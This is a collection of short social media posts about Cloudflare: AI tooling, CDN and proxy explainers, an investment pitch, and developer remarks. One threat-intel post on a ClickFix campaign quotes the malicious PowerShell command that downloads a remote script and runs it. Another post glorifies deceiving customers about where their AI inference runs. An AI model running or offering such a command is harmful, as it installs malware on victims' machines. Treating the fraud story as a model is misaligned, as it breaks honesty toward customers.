Ciccio Diddo 🐧🇪🇺🚽 (@CiccioDiddo) reported@EddCoates another interesting cloudflare function is AI labirynt ... it create a ton of fake content filled with nofollow links generated by some **** IA... so the scraper spends a ton of resources to traverse all links then, if not enough start to ban by AS number instead of single IP

kocer (@kocer_eth) reported7 FREE AI API/TOOL TIERS YOU CAN USE TODAY BEFORE BUYING ANOTHER AI SUBSCRIPTION If you build agents, bots, research tools or small automations, start with this stack. 1. OpenRouter Use it as the router. It exposes free-priced models in the model list, so you can test routing before paying per token. 2. Google AI Studio / Gemini API Good for prototypes, evals, long-context tests, and agent experiments. Check the free tier before you burn paid credits elsewhere. 3. Cloudflare Workers AI Best when you want inference close to your app. The useful part is not just “free AI” — it sits inside the same place you can deploy Workers. 4. GroqCloud Use it when speed matters. Great for bots, voice loops, extraction, and any workflow where slow responses kill the demo. 5. GitHub Models Best for prototyping inside the GitHub flow. If your code, prompts, and tests already live there, this removes friction. 6. Tavily Research/search API for agents. Free plan shows 1,000 API credits/month, useful for browsing agents and research bots. 7. ElevenLabs Voice layer. Free plan shows 10k credits/month, enough to test narration, agents with voice, and demo content. > My rule: never build production on a free tier first. > Use free access to test: - latency - rate limits - output quality - tool calling fit - billing behavior - whether your agent actually needs the premium model Then pay only for the part that survives real usage. Most people skip this and buy 3 subscriptions before they even know which API call matters.

DFIR Radar (@DFIR_Radar) reportedAI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory.

Flandermaxx (@Flandermaxx) reportedA 28 year old Chinese engineer in Singapore bills 11 SaaS startups $63,400 a month for inference they think is running on AWS H100s. Forty NVIDIA Jetson Orin Nano boards stacked inside three IKEA boxes on the floor. A used Quest 3 on the bed. A half empty can of Yeo's chrysanthemum tea on the windowsill, still cold. The whole farm draws less power than his electric kettle. Each Jetson runs Llama 3.3 70B through MLC LLM, quantized to 4 bit. Each one serves embeddings, classification, and draft outputs at $0.40 per million tokens. OpenAI charges $0.60 for the same. A Cloudflare worker rewrites the response headers to read like an AWS us-east-1 region. The startups never check. They never asked. pause at 0:22, the camera holds on the IKEA boxes for two seconds. Everyone saw moving boxes. Almost nobody saw the holes drilled in the back. They were not for shelf pegs. They were the GPU intake. $63,400 in. $0 OpenAI bill. Hardware paid for itself in 11 weeks. His dad still thinks he is studying for the GMAT. He still calls home every Sunday at 8 p.m. He still says he has not picked a school. He still wears the same Uniqlo hoodie in every video call. He still has not mentioned the Stripe dashboard. A data center has racks, cooling, redundancy. He has three IKEA boxes, a kettle, forty boards humming quieter than the AC.

Michael Ramos (@backnotprop) reportedEvery "ADE" is going to be pushed into one of either of (some might try to do all): - Linear competitor - Notion competitor - diffxyz/Ai-review competitor and away from "a harness for harnesses" - and/or misstep into remote execution (this requires all in customer bets. Like you either all go all in into the linear model or you do not - I can't imagine this scaling). But there's a much stronger durable layer nobody's really hitting at other than the infrastructure providers - context/artifacts has a lot of exciting potential. You can see it with cursor origin, cloudflare artifacts, code[dot]storage are pointing at. A lot of innovation to be had here & on top of - beyond "hey, share your HTML with me" There's still room for middle layer execution innovation, and it might smell like memory, but nobody's doing memory right.

Wallstreet Dragon (@longwashere) reportedDD: Long term holdings. $NET cloudflare and why it's important in the age of agents ELI5: The world is moving towards agent. Big industries need better cloud bot protection, developers need LLM computing on the edge. Cloudflare provides the most afforadable option for both, even heavy aws users are using cloudflare for these purposes. What is Cloudflare? For the technically challenged or pre-med professionals, Cloudflare is a web infrastructure and security company that acts as a protective, performance-enhancing shield between a website and its visitors by providing services like content delivery networks (CDNs), DDoS mitigation, and secure domain routing. TL;DR: For the simple folks, it's that **** that pops up with the CAPTCHA to make sure you're not a bot. For developers, it's that **** that makes your sites fast and secure from bots. What is Cloudflare's growing revenue? Application Security and Content Delivery Network (CDN). What is a Content Delivery Network? A CDN is basically a network of servers used to store files closer to its users for faster retrieval. Imagine an app creates a backend database storing all its images on AWS based in US-East. A CDN will then copy the most commonly used images in that S3 database and duplicate them across multiple regions (Asia, Europe, US-East). When an app makes a service request, it will make the request to Cloudflare first. Cloudflare then uses its internal logic to determine if the data needed is in a nearby Cloudflare edge server (on the edge) or if it needs to get it from the main database in US-East. This is called storage on the edge. This CDN mechanism is a relic of Web 2.0, but it will become significantly more important in the age of AI. Now, instead of storing images, large AI providers will be storing entire LLM contexts on the edge. So instead of training specialized ML models to do a specific task, app companies can use a general-usage LLM with a stored context for that specific task, and it will be fast, too. This mechanism is called Prefix Caching or Prompt Caching. By doing this, it makes the LLM responses almost instantaneous. So all your consumer apps that use LLMs—like CALai, Duolingo, Grok, etc.—are most likely already using this process. Beyond simply storing data on the edge, the industry is shifting toward deploying entire servers and specialized AI models locally. A major component of this architecture relies on LLM routing. Instead of hosting massive, resource-heavy models on every single edge device or regional server, companies are deploying highly optimized, lightweight router models at the edge. These local routers analyze incoming user prompts to determine the most efficient way to handle them. If a task is simple, the edge model processes it instantly to minimize latency and eliminate cloud compute costs. If the task requires deep reasoning or a massive knowledge base, the router intelligently forwards the request to a larger cloud-hosted model. Additionally, these edge routers leverage tool calling, which allows them to execute local APIs, query regional databases, or trigger specific code workflows without needing to round-trip back to a centralized data center. Moving from simple edge storage to localized edge intelligent compute represents a massive paradigm shift. It allows enterprises to scale AI applications efficiently, safeguard data privacy, and drastically slash infrastructure costs. Cloudflare Security in the Age of Agents This one is simple. You know that Cloudflare CAPTCHA that pops up when you're entering a website or checking out with a credit card? Websites PAY for that CAPTCHA. And they pay a lot. These features block spam, bots, and DDoS attacks. When you move your mouse to click the CAPTCHA, Cloudflare uses proprietary logic that determines you're human by calculating how fast your mouse moved, the angle you moved it, how long you waited, and any other actions you took. Sometime in the 2010s, every website figured out that paying for this small puzzle CAPTCHA was more cost-effective than getting DDoS'd by bots, so almost every single site adopted it. The CAPTCHA is only one of Cloudflare's products in its security suite to block bots from websites, but the overarching theme is the same for all its features: blocking bots. Well, it's 2026 now, and web traffic across the board has increased, mostly driven by AI and AI agents. Automated web traffic has increased by 600% in 2026 alone. Guess who is positioned perfectly for this? Cloudflare. Not only is Cloudflare blocking bot traffic, but it's also getting paid by them. Cloudflare is releasing a new product (Pay Per Crawl) that allows website owners and Cloudflare to get paid for LLMs crawling their content. Cloudflare is simply winning by creating the gates for web traffic and now charging a toll fee for bots to use them. Cloudflare is direct play on internet traffic, which is a correlating play on ai agents and LLM adoption and usage. If you think people will continue to use ai agents and LLM, then cloudflare is your guy. Cloudflare valuation has dropped recently because of the layoffs due to ai, even though revenue has sped up. This drop was more of emotional sell off than a fundamental one. It's valuation has already bounced back. (Cloudflare is trading at 235 as of this post, I bought in earlier in the 190s for a swing trade after the bogus layoff dips, wish i bought in more)

Nicholas Preston (@Mike_Preston17) reported@PLOwingPots @DevLeaderCa You really should learn C and C++ to understand the fundamentals, etc. I say this as a C# dev who went C -> C++ -> Java -> C#. You won't appreciate the 'better' language nearly as much if you don't at least suffer from the shortcomings of its successor language. I suffered pointer and stack overflows from C++ and that taught me to not be an idiot with my memory. Rust babies devs too much, imo - that's what (again, imo) led to the Cloudflare outage: too much trust in the compiler and willfully ignoring the dynamic nature of data in production (which NO language can account for).

starmex (@starmexxx) reportedWHY WASTE 16 MINUTES OF YOUR TIME ON THIS AI ENGINEER EUROPE TALK WHEN I CUT THE 5 BEST MOMENTS INTO 4 MINUTES FOR YOU bright data engineer exposed why your ai agent lies about searching the web. cloudflare blocks 20% of web from ai. 60% of chatgpt citations are broken. agents hallucinate instead of saying "i can't" 00:00 - llms are programmed to please. they make things up instead of saying "i can't" 00:42 - cloudflare blocks 20% of web. 60% of chatgpt citations are broken 02:03 - gpt-5 fails all 5 web tasks without proper tools. zero out of five 02:42 - cloudflare labyrinth feeds ai fake data. bigger hallucinations 03:13 - don't parse with llm. build a parser. saves 99% of tokens bookmark this and watch the supercut below

Elyas (@ElyasAlemi) reported@steipete We hit this in our n8n workflows. PDF intake is slow (Cloudflare queue, async), Supabase lookups are fast. Treating them as different shapes from the start saved a lot of rework. are you running the slow side on a queue or polling?
-
Derek Martin 🇨🇦 (@lo_fye) reported@yashmp2004 Your cache busting and/or expiration is broken. Cloudflare is down. Your hosting’s network connection is shoddy, or oversaturated. A backup or clone process is hammering the disk. There’s a race condition that wasn’t triggered until now. When in doubt, check replication status.

JD (@TooTrill4Thiss) reported@BoringBiz_ Every business doesn't need a custom agent. It needs an enterprise plan and a few capable devs who can map it, and deploy agents. building automation that don't rely on agent compute. like hello??? app scripts, compute engine, cloudflare workers. ******** are people doing?

Adam Rush 🛫 (@Adam9Rush) reported@JamesSherlouk Hosted on R2 @Cloudflare, zipballs each dependency and mints it so it can never change. More control, mainly, we can just manage it pretty cheaply, but ultimately do some other stuff with it. I would quite like to build a little internal dashboard that shows our dependency graph, etc.
-
Luca Steeb (@steebchen) reported@baanish @fayazara it's actually not true, you can use the CloudFlare AI gateway by setting it up in the dashboard and you'll get an URL which works with any SDK or library. however, personally I recommend to use @llmgateway as we support the full catalog of models and DevPass coding plan for 3x usage

Aly (@alishteinn) reportedMost Next.js websites are entirely too slow. I just boosted the Cursor Baku community site performance from 77 to 98. It is deployed on @Cloudflare, and the fixes were incredibly simple. If you want lightning-fast load times, steal these 4 tips: • Resize images to their actual display size before committing • Set minimumCacheTTL in next.config to cache image at the edge • Always set sizes on Next.js <Image> or retina fetches 4× the bytes • Wrap R2 reads with caches.default to serve media from the edge Fast load times build trust. Stop losing users over a slow website.

zeb (@zebassembly) reported@astuyve @boristane Yeah we aren't happy that the limitation has existed for so long either. We're working hard to try to not paint ourselves into a corner when the o11y platform we've built for Workers expands to being used for other products. There are many shortcuts we could have taken to got this shipped sooner but they may have put us in a state where we later couldn't reconcile it with tracing for another product. We're really going all-out for the o11y platform we're building within Cloudflare and that'll inevitably slow things down by preventing us from taking the easy paths.

Glitch Truth (@glitchtruth) reportedDay 28 of 30. 30 Days of Practical Tech. A reverse proxy is a server that sits in front of your real server. Cloudflare runs one for free in front of millions of sites. Visitors hit Cloudflare's IP never yours so attackers can't find your machine. Tomorrow Day 29: what a CDN actually is.
